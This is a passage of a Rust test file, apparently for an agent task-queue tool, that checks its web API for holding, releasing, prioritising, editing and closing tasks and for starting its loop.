16608 );
16609 task.start("20260902-140502-bbbb".to_owned());
16610 task.fail("agent gave up", 9);
16611 queue.put(&mut task).expect("file the task");
16612
16613 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16614 assert_eq!(held.status, 200);
16615 assert_eq!(held.json()["status_str"], "held");
16616
16617 let released = f
16618 .post(&format!("/api/queue/{}/release", task.id), None)
16619 .await;
16620 assert_eq!(released.status, 200);
16621 assert_eq!(released.json()["status_str"], "queued");
16622 assert_eq!(released.json()["resumption"]["source"], "web");
16623 assert_eq!(released.json()["resumption"]["instruction"], "Try again");
16624 let mut cli = task.clone();
16625 cli.release_operator("cli", None);
16626 let web = queue.get(&task.id).unwrap().resumption.unwrap();
16627 let cli = cli.resumption.unwrap();
16628 assert_eq!(web.instruction, cli.instruction);
16629 assert_eq!(web.answers_through, cli.answers_through);
16630 assert_eq!(web.runs_through, cli.runs_through);
16631 assert_eq!(web.cleared_reason, cli.cleared_reason);
16632 assert_eq!(
16633 released.json()["attempts"],
16634 0,
16635 "release is a real second chance, not an instant re-hold"
16636 );
16637 assert_eq!(
16638 queue.get(&task.id).expect("reload").status,
16639 TaskStatus::Queued,
16640 "the change is on disk, not only in the reply"
16641 );
16642 assert!(
16643 !f.home
16644 .path()
16645 .join("queue")
16646 .join(format!("{}.lock", task.id))
16647 .exists(),
16648 "the claim the mutation took is released again"
16649 );
16650 }
16651
16652 #[tokio::test]
16653 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
16654 let f = Fixture::start().await;
16655 let queue = f.queue();
16656 let mut task = Task::new(
16657 "busy".to_owned(),
16658 "Running right now".to_owned(),
16659 PathBuf::from("/repo/magi"),
16660 Source::Human,
16661 );
16662 queue.put(&mut task).expect("file the task");
16663 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
16664
16665 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
16666
16667 assert_eq!(res.status, 409);
16668 assert_eq!(
16669 queue.get(&task.id).expect("reload").status,
16670 TaskStatus::Queued,
16671 "the refused hold changed nothing"
16672 );
16673 }
16674
16675 #[tokio::test]
16676 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
16677 let f = Fixture::start().await;
16678 let queue = f.queue();
16679 let mut task = Task::new(
16680 "waiting on the migration".to_owned(),
16681 "Do the thing".to_owned(),
16682 PathBuf::from("/repo/magi"),
16683 Source::Human,
16684 );
16685 queue.put(&mut task).expect("file the task");
16686
16687 let held = f
16688 .post(
16689 &format!("/api/queue/{}/hold", task.id),
16690 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
16691 )
16692 .await;
16693 assert_eq!(held.status, 200, "{}", held.body);
16694 assert_eq!(held.json()["status_str"], "held");
16695 assert_eq!(
16696 held.json()["hold_reason"],
16697 "waiting for 20260101-000000-aaaa to land"
16698 );
16699
16700 let listed = f.get("/api/queue").await.json();
16701 assert_eq!(
16702 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
16703 "the card reads the reason off the same list route"
16704 );
16705
16706 let mut plain = Task::new(
16709 "no reason given".to_owned(),
16710 "Do another thing".to_owned(),
16711 PathBuf::from("/repo/magi"),
16712 Source::Human,
16713 );
16714 queue.put(&mut plain).expect("file the task");
16715 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
16716 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
16717 assert!(held_plain.json()["hold_reason"].is_null());
16718
16719 let released = f
16720 .post(&format!("/api/queue/{}/release", task.id), None)
16721 .await;
16722 assert_eq!(released.status, 200);
16723 assert!(
16724 released.json()["hold_reason"].is_null(),
16725 "a release must clear the reason so the next hold does not inherit it"
16726 );
16727 }
16728
16729 #[test]
16730 fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
16731 for urgent in [true, false] {
16732 let body: UrgentBody =
16733 serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
16734 assert_eq!(body.urgent, urgent);
16735 }
16736 for input in [
16737 r#"{}"#,
16738 r#"{"urgent":null}"#,
16739 r#"{"urgent":"true"}"#,
16740 r#"{"urgent":1}"#,
16741 r#"{"urgent":true,"extra":false}"#,
16742 ] {
16743 assert!(
16744 serde_json::from_str::<UrgentBody>(input).is_err(),
16745 "{input}"
16746 );
16747 }
16748 }
16749
16750 #[tokio::test]
16751 async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
16752 let home = TempDir::new().unwrap();
16753 let q = Queue::at(home.path().join("queue"));
16754 let ui = Arc::new(Ui::new(
16755 q.clone(),
16756 Questions::at(home.path().join("questions")),
16757 Talks::at(home.path().join("talks")),
16758 home.path().join("runs"),
16759 home.path().into(),
16760 home.path().into(),
16761 ));
16762 let mut task = Task::new(
16763 "urgent handler".into(),
16764 "keep".into(),
16765 home.path().into(),
16766 Source::Human,
16767 );
16768 for status in [TaskStatus::Queued, TaskStatus::Held] {
16769 task.status = status;
16770 q.put(&mut task).unwrap();
16771 for urgent in [true, true, false, false] {
16772 let saved = queue_urgent(
16773 State(Arc::clone(&ui)),
16774 Path(task.short().into()),
16775 Ok(Json(UrgentBody { urgent })),
16776 )
16777 .await
16778 .unwrap();
16779 assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
16780 assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
16781 }
16782 }
16783 task.status = TaskStatus::Queued;
16784 q.put(&mut task).unwrap();
16785 let claim = q.claim(&task.id).unwrap();
16786 let error = queue_urgent(
16787 State(Arc::clone(&ui)),
16788 Path(task.id.clone()),
16789 Ok(Json(UrgentBody { urgent: true })),
16790 )
16791 .await
16792 .unwrap_err();
16793 assert_eq!(error.status, StatusCode::CONFLICT);
16794 assert!(error.message.contains("released"));
16795 drop(claim);
16796 for status in [
16797 TaskStatus::Running,
16798 TaskStatus::Done,
16799 TaskStatus::Failed,
16800 TaskStatus::Blocked,
16801 TaskStatus::Parked,
16802 ] {
16803 task.status = status;
16804 q.put(&mut task).unwrap();
16805 let error = queue_urgent(
16806 State(Arc::clone(&ui)),
16807 Path(task.id.clone()),
16808 Ok(Json(UrgentBody { urgent: false })),
16809 )
16810 .await
16811 .unwrap_err();
16812 assert_eq!(error.status, StatusCode::BAD_REQUEST);
16813 assert!(error.message.contains(status.as_str()));
16814 }
16815 }
16816
16817 #[tokio::test]
16818 async fn urgent_api_updates_preserves_and_validates_tasks() {
16819 let f = Fixture::start().await;
16820 let q = f.queue();
16821 let mut t = Task::new(
16822 "urgent API".into(),
16823 "unchanged".into(),
16824 PathBuf::from("/repo/magi"),
16825 Source::Human,
16826 );
16827 t.attempts = 2;
16828 t.priority = 9;
16829 t.interrupt = true;
16830 t.hold_reason = Some("waiting for approval".into());
16831 for status in [TaskStatus::Queued, TaskStatus::Held] {
16832 t.status = status;
16833 q.put(&mut t).unwrap();
16834 for urgent in [true, true, false, false] {
16835 let response = f
16836 .post(
16837 &format!("/api/queue/{}/urgent", t.short()),
16838 Some(&format!("{{\"urgent\":{urgent}}}")),
16839 )
16840 .await;
16841 assert_eq!(response.status, 200, "{}", response.body);
16842 assert_eq!(response.json()["urgent"], urgent);
16843 let saved = q.get(&t.id).unwrap();
16844 let mut before = serde_json::to_value(&t).unwrap();
16845 let mut after = serde_json::to_value(saved).unwrap();
16846 before["urgent"] = urgent.into();
16847 before.as_object_mut().unwrap().remove("updated_at");
16848 after.as_object_mut().unwrap().remove("updated_at");
16849 assert_eq!(after, before);
16850 }
16851 }
16852 let route = format!("/api/queue/{}/urgent", t.id);
16853 for body in [
16854 r#"{}"#,
16855 r#"{"urgent":null}"#,
16856 r#"{"urgent":"true"}"#,
16857 r#"{"urgent":1}"#,
16858 r#"{"urgent":true,"extra":false}"#,
16859 "{",
16860 ] {
16861 assert_eq!(f.post(&route, Some(body)).await.status, 400);
16862 }
16863 t.status = TaskStatus::Queued;
16864 q.put(&mut t).unwrap();
16865 let claim = q.claim(&t.id).unwrap();
16866 let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
16867 assert_eq!(response.status, 409, "{}", response.body);
16868 assert!(!q.get(&t.id).unwrap().urgent);
16869 drop(claim);
16870 for status in [
16871 TaskStatus::Running,
16872 TaskStatus::Done,
16873 TaskStatus::Failed,
16874 TaskStatus::Blocked,
16875 TaskStatus::Parked,
16876 ] {
16877 t.status = status;
16878 q.put(&mut t).unwrap();
16879 for urgent in [true, false] {
16880 let response = f
16881 .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
16882 .await;
16883 assert_eq!(response.status, 400, "{}", response.body);
16884 assert!(response.body.contains(status.as_str()));
16885 assert!(response.body.contains("queued or held"));
16886 assert!(!q.get(&t.id).unwrap().urgent);
16887 }
16888 }
16889 assert_eq!(
16890 f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
16891 .await
16892 .status,
16893 404
16894 );
16895 }
16896
16897 #[tokio::test]
16898 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
16899 let f = Fixture::start().await;
16900 let queue = f.queue();
16901 let mut older = Task::new(
16902 "filed first".to_owned(),
16903 "x".to_owned(),
16904 PathBuf::from("/repo/magi"),
16905 Source::Human,
16906 );
16907 older.id = "20260101-000001-aaaa".to_owned();
16908 let mut newer = Task::new(
16909 "filed second".to_owned(),
16910 "x".to_owned(),
16911 PathBuf::from("/repo/magi"),
16912 Source::Human,
16913 );
16914 newer.id = "20260101-000002-bbbb".to_owned();
16915 queue.put(&mut older).expect("file older");
16916 queue.put(&mut newer).expect("file newer");
16917
16918 let before = f.get("/api/queue").await.json();
16921 assert_eq!(before[0]["id"], newer.id);
16922 assert_eq!(before[1]["id"], older.id);
16923
16924 let raised = f
16928 .post(
16929 &format!("/api/queue/{}/priority", older.id),
16930 Some(r#"{"priority":10}"#),
16931 )
16932 .await;
16933 assert_eq!(raised.status, 200, "{}", raised.body);
16934 assert_eq!(raised.json()["priority"], 10);
16935
16936 let after = f.get("/api/queue").await.json();
16937 let names: Vec<&str> = after
16938 .as_array()
16939 .unwrap()
16940 .iter()
16941 .map(|t| t["id"].as_str().unwrap())
16942 .collect();
16943 assert_eq!(names[0], older.id, "the raised task now sorts first");
16947 }
16948
16949 #[tokio::test]
16950 async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
16951 let dir = TempDir::new().unwrap();
16952 let q = Queue::at(dir.path().join("queue"));
16953 let ui = Arc::new(Ui::new(
16954 q.clone(),
16955 Questions::at(dir.path().join("questions")),
16956 Talks::at(dir.path().join("talks")),
16957 dir.path().join("runs"),
16958 dir.path().to_path_buf(),
16959 dir.path().to_path_buf(),
16960 ));
16961 let mut t = Task::new(
16962 "budget".into(),
16963 "keep".into(),
16964 dir.path().into(),
16965 Source::Human,
16966 );
16967 t.attempts = 2;
16968 t.runs.push("prior-run".into());
16969 t.hold_manual(Some("waiting".into()));
16970 q.put(&mut t).unwrap();
16971 let change = |value| {
16972 queue_attempt_limit(
16973 State(ui.clone()),
16974 Path(t.id.clone()),
16975 Ok(Json(AttemptLimitBody {
16976 attempt_limit: value,
16977 })),
16978 )
16979 };
16980 for value in [
16981 serde_json::json!(3),
16982 serde_json::Value::Null,
16983 serde_json::json!(1),
16984 ] {
16985 let response = change(value.clone()).await.unwrap();
16986 assert_eq!(
16987 serde_json::to_value(response.0).unwrap()["attempt_limit"],
16988 value
16989 );
16990 let saved = q.get(&t.id).unwrap();
16991 assert_eq!(
16992 serde_json::to_value(&saved).unwrap()["attempt_limit"],
16993 value
16994 );
16995 assert_eq!(saved.status, TaskStatus::Held);
16996 assert_eq!(saved.attempts, t.attempts);
16997 assert_eq!(saved.runs, t.runs);
16998 assert_eq!(saved.hold_reason, t.hold_reason);
16999 let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17000 .await
17001 .unwrap()
17002 .0;
17003 assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17004 assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17005 let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17006 assert_eq!(outcome.max_attempts, detail.max_attempts);
17007 }
17008 for value in [
17009 serde_json::json!(0),
17010 serde_json::json!(-1),
17011 serde_json::json!(1.5),
17012 serde_json::json!("3"),
17013 serde_json::json!(true),
17014 ] {
17015 assert_eq!(
17016 change(value).await.err().unwrap().status,
17017 StatusCode::BAD_REQUEST
17018 );
17019 }
17020 assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17021 let claim = q.claim(&t.id).unwrap();
17022 assert_eq!(
17023 change(serde_json::json!(4)).await.err().unwrap().status,
17024 StatusCode::CONFLICT
17025 );
17026 drop(claim);
17027 for status in [
17028 TaskStatus::Running,
17029 TaskStatus::Done,
17030 TaskStatus::Failed,
17031 TaskStatus::Blocked,
17032 TaskStatus::Parked,
17033 ] {
17034 let mut stored = q.get(&t.id).unwrap();
17035 stored.status = status;
17036 q.put(&mut stored).unwrap();
17037 assert_eq!(
17038 change(serde_json::json!(4)).await.err().unwrap().status,
17039 StatusCode::BAD_REQUEST
17040 );
17041 assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17042 }
17043 let mut stored = q.get(&t.id).unwrap();
17044 stored.status = TaskStatus::Queued;
17045 q.put(&mut stored).unwrap();
17046 let _ = change(serde_json::Value::Null).await.unwrap();
17047 assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
17048 }
17049
17050 #[tokio::test]
17051 async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
17052 let dir = TempDir::new().unwrap();
17053 let repo = dir.path().join("repo");
17054 std::fs::create_dir(&repo).unwrap();
17055 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
17056 let q = Queue::at(dir.path().join("queue"));
17057 let ui = Arc::new(Ui::new(
17058 q.clone(),
17059 Questions::at(dir.path().join("questions")),
17060 Talks::at(dir.path().join("talks")),
17061 dir.path().join("runs"),
17062 dir.path().to_path_buf(),
17063 repo.clone(),
17064 ));
17065 let mut t = Task::new(
17066 "seats".into(),
17067 "keep instruction".into(),
17068 repo,
17069 Source::Human,
17070 );
17071 t.runs.push("prior-run".into());
17072 t.hold_manual(Some("waiting".into()));
17073 q.put(&mut t).unwrap();
17074 let change = |count| {
17075 queue_implementers(
17076 State(ui.clone()),
17077 Path(t.id.clone()),
17078 Ok(Json(ImplementersBody {
17079 implementers: count,
17080 })),
17081 )
17082 };
17083 for count in [2, 1, 2] {
17084 let response = change(count).await.unwrap();
17085 assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
17086 let saved = q.get(&t.id).unwrap();
17087 assert_eq!(saved.implementers(), Some(usize::from(count)));
17088 assert_eq!(saved.runs, t.runs);
17089 assert_eq!(saved.instruction, t.instruction);
17090 }
17091 for count in [0, 4] {
17092 assert_eq!(
17093 change(count).await.err().unwrap().status,
17094 StatusCode::BAD_REQUEST
17095 );
17096 }
17097 assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
17098 let claim = q.claim(&t.id).unwrap();
17099 assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
17100 drop(claim);
17101 for status in [
17102 TaskStatus::Running,
17103 TaskStatus::Done,
17104 TaskStatus::Failed,
17105 TaskStatus::Blocked,
17106 TaskStatus::Parked,
17107 ] {
17108 let mut stored = q.get(&t.id).unwrap();
17109 stored.status = status;
17110 q.put(&mut stored).unwrap();
17111 assert_eq!(
17112 change(1).await.err().unwrap().status,
17113 StatusCode::BAD_REQUEST
17114 );
17115 assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
17116 }
17117 }
17118
17119 #[tokio::test]
17120 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
17121 let f = Fixture::start().await;
17122 let queue = f.queue();
17123 let mut task = Task::new(
17124 "in flight".to_owned(),
17125 "x".to_owned(),
17126 PathBuf::from("/repo/magi"),
17127 Source::Human,
17128 );
17129 task.start("20260902-140502-bbbb".to_owned());
17130 queue.put(&mut task).expect("file the task");
17131
17132 let res = f
17133 .post(
17134 &format!("/api/queue/{}/priority", task.id),
17135 Some(r#"{"priority":9}"#),
17136 )
17137 .await;
17138 assert_eq!(res.status, 400, "{}", res.body);
17139 assert!(
17140 res.json()["error"]
17141 .as_str()
17142 .is_some_and(|e| e.contains("running")),
17143 "{}",
17144 res.body
17145 );
17146 assert_eq!(
17147 queue.get(&task.id).expect("reload").priority,
17148 0,
17149 "the refused write must not partially apply"
17150 );
17151 }
17152
17153 #[tokio::test]
17154 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
17155 let f = Fixture::start().await;
17156 let queue = f.queue();
17157 let mut task = Task::new(
17158 "old title".to_owned(),
17159 "old instruction".to_owned(),
17160 PathBuf::from("/repo/magi"),
17161 Source::Agent {
17162 run: "20260101-000000-beef".to_owned(),
17163 node: "implement".to_owned(),
17164 },
17165 );
17166 task.runs.push("20260101-000000-beef".to_owned());
17167 queue.put(&mut task).expect("file the task");
17168 let created_at = task.created_at;
17169
17170 let edited = f
17171 .post(
17172 &format!("/api/queue/{}/edit", task.id),
17173 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
17174 )
17175 .await;
17176 assert_eq!(edited.status, 200, "{}", edited.body);
17177 let body = edited.json();
17178 assert_eq!(body["title"], "new title");
17179 assert_eq!(body["instruction"], "new instruction");
17180 assert_eq!(body["id"], task.id, "editing must not mint a new id");
17181 assert_eq!(body["created_at"], created_at.to_string());
17182 assert_eq!(
17183 body["source"]["kind"], "agent",
17184 "editing a task an agent filed must not turn it human: {body}"
17185 );
17186 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
17187
17188 let reloaded = queue.get(&task.id).expect("reload");
17189 assert_eq!(reloaded.title, "new title");
17190 assert_eq!(reloaded.instruction, "new instruction");
17191 }
17192
17193 #[tokio::test]
17194 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
17195 let tmp = TempDir::new().expect("tempdir");
17198 let repo = tmp.path().join("repo");
17199 std::fs::create_dir_all(&repo).expect("repo dir");
17200 let judge = MOCK_AGENT_TOML.replace(
17201 "printf ok",
17202 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
17203 );
17204 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
17205 let f = Fixture::with_repo(repo.clone()).await;
17206 let queue = f.queue();
17207 let mut owner = Task::new(
17208 "owner".to_owned(),
17209 "review it".to_owned(),
17210 repo.clone(),
17211 Source::Human,
17212 );
17213 owner.review_branch = Some("magi/ab12/A".to_owned());
17214 queue.put(&mut owner).expect("file the owner");
17215 let mut task = Task::new(
17216 "draft".to_owned(),
17217 "old".to_owned(),
17218 repo.clone(),
17219 Source::Human,
17220 );
17221 queue.put(&mut task).expect("file the draft");
17222 let url = format!("/api/queue/{}/edit", task.id);
17223
17224 let refused = f
17225 .post(
17226 &url,
17227 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
17228 )
17229 .await;
17230 assert_eq!(refused.status, 409, "{}", refused.body);
17231 let msg = refused.json()["error"]
17232 .as_str()
17233 .unwrap_or_default()
17234 .to_owned();
17235 assert!(
17236 msg.contains("magi/ab12/A") && msg.contains("force"),
17237 "{msg}"
17238 );
17239 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
17240
17241 let forced = f
17242 .post(
17243 &url,
17244 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
17245 )
17246 .await;
17247 assert_eq!(forced.status, 200, "{}", forced.body);
17248 }
17249
17250 #[tokio::test]
17251 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
17252 let f = Fixture::start().await;
17253 let queue = f.queue();
17254 let mut task = Task::new(
17255 "in flight".to_owned(),
17256 "do not touch".to_owned(),
17257 PathBuf::from("/repo/magi"),
17258 Source::Human,
17259 );
17260 task.start("20260902-140502-bbbb".to_owned());
17261 queue.put(&mut task).expect("file the task");
17262
17263 let res = f
17264 .post(
17265 &format!("/api/queue/{}/edit", task.id),
17266 Some(r#"{"title":"x","instruction":"y"}"#),
17267 )
17268 .await;
17269 assert_eq!(res.status, 400, "{}", res.body);
17270 assert!(
17271 res.json()["error"]
17272 .as_str()
17273 .is_some_and(|e| e.contains("running")),
17274 "{}",
17275 res.body
17276 );
17277 assert_eq!(
17278 queue.get(&task.id).expect("reload").instruction,
17279 "do not touch",
17280 "the refused edit must not change the file"
17281 );
17282 }
17283
17284 #[tokio::test]
17285 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
17286 let f = Fixture::start().await;
17287 let queue = f.queue();
17288 let mut task = Task::new(
17289 "busy".to_owned(),
17290 "Running right now".to_owned(),
17291 PathBuf::from("/repo/magi"),
17292 Source::Human,
17293 );
17294 queue.put(&mut task).expect("file the task");
17295 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17296
17297 let priority = f
17298 .post(
17299 &format!("/api/queue/{}/priority", task.id),
17300 Some(r#"{"priority":9}"#),
17301 )
17302 .await;
17303 assert_eq!(priority.status, 409, "{}", priority.body);
17304
17305 let edit = f
17306 .post(
17307 &format!("/api/queue/{}/edit", task.id),
17308 Some(r#"{"title":"x","instruction":"y"}"#),
17309 )
17310 .await;
17311 assert_eq!(edit.status, 409, "{}", edit.body);
17312 }
17313
17314 #[tokio::test]
17315 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
17316 let f = Fixture::start().await;
17317 let queue = f.queue();
17318 let mut task = Task::new(
17319 "shipped by hand".to_owned(),
17320 "merged outside the loop".to_owned(),
17321 PathBuf::from("/repo/magi"),
17322 Source::Agent {
17323 run: "20260101-000000-b455".to_owned(),
17324 node: "implement".to_owned(),
17325 },
17326 );
17327 task.runs.push("20260101-000000-b455".to_owned());
17328 task.runs.push("20260101-000000-9af4".to_owned());
17329 queue.put(&mut task).expect("file the task");
17330 let created_at = task.created_at;
17331
17332 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17333 assert_eq!(done.status, 200, "{}", done.body);
17334 assert_eq!(done.json()["status_str"], "done");
17335
17336 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
17337 assert_eq!(
17338 reloaded.runs,
17339 ["20260101-000000-b455", "20260101-000000-9af4"]
17340 );
17341 assert_eq!(
17342 reloaded.source,
17343 Source::Agent {
17344 run: "20260101-000000-b455".to_owned(),
17345 node: "implement".to_owned(),
17346 }
17347 );
17348 assert_eq!(reloaded.created_at, created_at);
17349 }
17350
17351 #[tokio::test]
17352 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
17353 let f = Fixture::start().await;
17358 let queue = f.queue();
17359 let mut task = Task::new(
17360 "landed while held".to_owned(),
17361 "x".to_owned(),
17362 PathBuf::from("/repo/magi"),
17363 Source::Human,
17364 );
17365 task.hold_manual(Some("waiting on 3ed9".to_owned()));
17366 queue.put(&mut task).expect("file the held task");
17367
17368 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17369 assert_eq!(done.status, 200, "{}", done.body);
17370 assert_eq!(done.json()["status_str"], "done");
17371 assert!(
17372 done.json()["hold_reason"].is_null(),
17373 "a done task cannot still be waiting on something: {}",
17374 done.body
17375 );
17376 }
17377
17378 #[tokio::test]
17379 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
17380 let f = Fixture::start().await;
17385 let queue = f.queue();
17386 let runs = f.runs();
17387 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
17388 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
17392
17393 let mut task = Task::new(
17394 "landed by hand".to_owned(),
17395 "x".to_owned(),
17396 PathBuf::from("/repo/magi"),
17397 Source::Human,
17398 );
17399 task.runs.push("20260101-000000-doa1".to_owned());
17400 task.runs.push("20260101-000000-doa2".to_owned());
17401 queue.put(&mut task).expect("file the task");
17402
17403 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17404 assert_eq!(done.status, 200, "{}", done.body);
17405
17406 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
17407 .expect("run still on disk under this fixture's own home");
17408 assert_eq!(
17409 reloaded_run.status,
17410 RunStatus::Superseded,
17411 "closing the task by hand must relabel the earlier blocked attempt exactly \
17412 like the loop's own settle path does"
17413 );
17414 }
17415
17416 #[tokio::test]
17417 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
17418 let f = Fixture::start().await;
17423 let queue = f.queue();
17424 let runs = f.runs();
17425 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
17426 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
17427
17428 let mut task = Task::new(
17429 "closed with nothing actually landed".to_owned(),
17430 "x".to_owned(),
17431 PathBuf::from("/repo/magi"),
17432 Source::Human,
17433 );
17434 task.runs.push("20260101-000000-dob1".to_owned());
17435 task.runs.push("20260101-000000-dob2".to_owned());
17436 queue.put(&mut task).expect("file the task");
17437
17438 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
17439 assert_eq!(done.status, 200, "{}", done.body);
17440
17441 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
17442 .expect("run still on disk under this fixture's own home");
17443 assert_eq!(
17444 reloaded_run.status,
17445 RunStatus::Blocked,
17446 "the last recorded attempt never landed, so the earlier one must not be \
17447 relabelled as superseded by it"
17448 );
17449 }
17450
17451 #[tokio::test]
17452 async fn unknown_ids_are_json_not_found_on_both_stores() {
17453 let f = Fixture::start().await;
17454
17455 let run = f.get("/api/runs/nosuchrun").await;
17456 let task = f.post("/api/queue/nosuchtask/hold", None).await;
17457
17458 assert_eq!(run.status, 404);
17459 assert_eq!(task.status, 404);
17460 assert!(
17461 run.json()["error"]
17462 .as_str()
17463 .is_some_and(|e| e.contains("run")),
17464 "the error names what was not found: {}",
17465 run.body
17466 );
17467 assert!(
17468 task.json()["error"]
17469 .as_str()
17470 .is_some_and(|e| e.contains("task")),
17471 "the error names what was not found: {}",
17472 task.body
17473 );
17474 }
17475
17476 #[tokio::test]
17477 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
17478 let f = Fixture::start().await;
17479
17480 let missing = f.get("/api/health").await.json();
17481 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
17482
17483 write_daemon(
17484 f.home.path(),
17485 Timestamp::now() - jiff::SignedDuration::from_secs(60),
17486 );
17487 let stale = f.get("/api/health").await.json();
17488 assert_eq!(
17489 stale["daemon"]["running"], false,
17490 "a minute without a heartbeat is a dead daemon, not a busy one"
17491 );
17492 assert!(
17493 stale["daemon"]["stale_for_secs"]
17494 .as_i64()
17495 .is_some_and(|s| s >= 55),
17496 "staleness is reported so the UI can say how long: {stale}"
17497 );
17498
17499 write_daemon(f.home.path(), Timestamp::now());
17500 let fresh = f.get("/api/health").await.json();
17501 assert_eq!(fresh["daemon"]["running"], true);
17502 assert_eq!(fresh["daemon"]["idle"], false);
17503 assert_eq!(fresh["daemon"]["pid"], 4242);
17504 assert_eq!(fresh["daemon"]["completed"], 7);
17505 assert_eq!(
17506 fresh["daemon"]["current"][0]["task"],
17507 "20260902-140501-aaaa"
17508 );
17509 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
17510 }
17511
17512 #[tokio::test]
17513 async fn the_loop_is_not_running_until_something_starts_it() {
17514 let f = Fixture::start().await;
17515
17516 let view = f.get("/api/loop").await.json();
17517 assert_eq!(view["running"], false);
17518 assert_eq!(
17519 view["owned"], false,
17520 "nobody owns a loop that does not exist: {view}"
17521 );
17522 assert_eq!(view["stopping"], false);
17523 assert_eq!(view["last_error"], Value::Null);
17524 assert_eq!(view["daemon"]["running"], false);
17525 assert_eq!(
17526 view["repo"], "/repo/magi",
17527 "the repository a start would use, named before it is started"
17528 );
17529 }
17530
17531 #[tokio::test]
17532 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
17533 let f = Fixture::start().await;
17534
17535 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17536 assert_eq!(res.status, 200, "{}", res.body);
17537 let view = res.json();
17538 assert_eq!(view["running"], true);
17539 assert_eq!(
17540 view["owned"], true,
17541 "the loop the UI started is the UI's own to stop: {view}"
17542 );
17543 assert_eq!(
17544 view["merge"],
17545 Value::Null,
17546 "no override was given, so each repository's own config decides"
17547 );
17548
17549 let health = f.get("/api/health").await.json();
17553 assert_eq!(health["loop"]["running"], true, "{health}");
17554 assert_eq!(health["loop"]["owned"], true, "{health}");
17555
17556 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17557 }
17558
17559 #[tokio::test]
17560 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
17561 let f = Fixture::start().await;
17562 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17563 assert_eq!(first.status, 200, "{}", first.body);
17564
17565 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17566 assert_eq!(
17567 again.status, 409,
17568 "two loops on one queue race for the same claims: {}",
17569 again.body
17570 );
17571 assert!(
17572 again.json()["error"]
17573 .as_str()
17574 .is_some_and(|e| e.contains("already running the loop")),
17575 "the refusal has to say why: {}",
17576 again.body
17577 );
17578 assert_eq!(
17579 f.get("/api/loop").await.json()["running"],
17580 true,
17581 "and the loop that was already running is untouched by it"
17582 );
17583
17584 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17585 }
17586
17587 #[tokio::test]
17588 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
17589 let f = Fixture::start().await;
17590 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
17591
17592 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
17593 assert_eq!(
17594 res.status, 200,
17595 "the answer must not wait for the loop: a run in flight is tens of \
